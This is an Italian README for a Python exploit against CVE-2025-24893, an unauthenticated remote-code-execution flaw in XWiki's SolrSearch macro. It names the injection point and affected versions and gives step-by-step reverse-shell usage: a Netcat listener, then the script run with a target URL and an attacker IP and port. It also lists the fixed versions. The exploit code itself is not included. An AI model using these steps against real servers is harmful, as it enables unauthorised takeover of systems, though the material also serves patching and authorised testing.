CVE-2025-24893

Exploit di Esecuzione Remota di Codice (RCE) su XWiki

Uno script in Python3 per la CVE-2025-24893, una vulnerabilità critica di Esecuzione Remota di Codice Non Autenticata (RCE) che affligge la piattaforma XWiki.

Questo script sfrutta una falla di Iniezione di Codice/Espressione (CWE-95) all'interno del componente della macro SolrSearch. La falla consente agli attaccanti di eseguire codice Groovy/Java arbitrario sul sistema operativo sottostante. L'exploit esegue automaticamente la codifica in Base64 per bypassare le limitazioni di interpretazione dei comandi della funzione Runtime.getRuntime().exec() di Java.

📊 Dettagli della Vulnerabilità

• CVE ID: CVE-2025-24893
• Punteggio CVSS: 9.8 Critico (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
• CWE: CWE-95 (Improper Neutralization of Expression Language Expression / Eval Injection)
• Componente Bersaglio: /bin/get/Main/SolrSearch (tramite il parametro text)

🔍 Versioni Affette

• Tutte le versioni dalla 5.3-milestone-2 alla 15.10.10
• Versioni 16.0.0-rc-1 fino alla 16.4.0

🚀 Come Usare

1. Avvia il tuo listener (Netcat) su Kali Linux:

nc -lvnp 4444

2. Esegui l'exploit:

python3 CVE-2025-24-893.py <URL_BERSAGLIO> <IL_TUO_IP_VPN> <LA_TUA_PORTA>

Esempio:

python3 CVE-2025-24-893.py http://domain.local 10.10.14.229 4444

🛠️ Requisiti

• Python 3.x
• Libreria requests

Per installare la dipendenza necessaria:

pip install requests

🛡️ Correzione

Aggiorna la tua istanza di XWiki a una delle versioni ufficiali corrette: 15.10.11, 16.4.1, 16.5.0-rc-1 (o successive).

⚠️ Avviso Legale (Disclaimer)

Questo script è stato sviluppato esclusivamente per scopi educativi, audit di sicurezza autorizzati e test di penetrazione (Pentest). L'autore non si assume alcuna responsabilità per usi impropri, danni o attività illegali causate da questo strumento. L'utilizzo di questo script contro bersagli senza preventiva autorizzazione è strettamente illegale.